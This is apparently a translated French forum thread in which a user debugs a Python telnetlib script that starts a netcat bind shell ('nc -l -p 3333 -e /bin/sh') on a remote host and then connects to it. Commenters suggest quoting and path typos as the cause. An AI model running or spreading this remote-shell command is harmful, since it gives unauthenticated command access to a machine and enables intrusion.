Donc pour des raisons personnelles, je veux me connecter à une socket que je crée via telnetlib, je peux me connecter à partir de netcat mais quand j'essaye de python refuse la connexion.Connexion refusée sur les sockets python (le port est ouvert, je peux me connecter avec nc)
tn.write(b"/usr/bin/nc -l -p 3333 -e /bin/sh\n")
print("netcat listening on 3333 on target, trying to connect")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((tn.host, 3333))
s.send('ls')
print(s.recv(1024))
s.close()
Si je peux connecter via netcat (en mettant par exemple et boucle infinie après tn.write())
est-ce que cela devrait être '/ bin/sh' comme dans le code que vous avez montré? –
ce n'est pas le problème si je lance/usr/bin/nc -l -p 3333 -e/bin/sh sur la machine distante je peux me connecter via netcat –
Vous pourriez noter que la commande que vous démarrez de python a une citation à la fin selon le code que vous avez montré alors que la commande que vous exécutez sur la machine distante ne le fait pas. –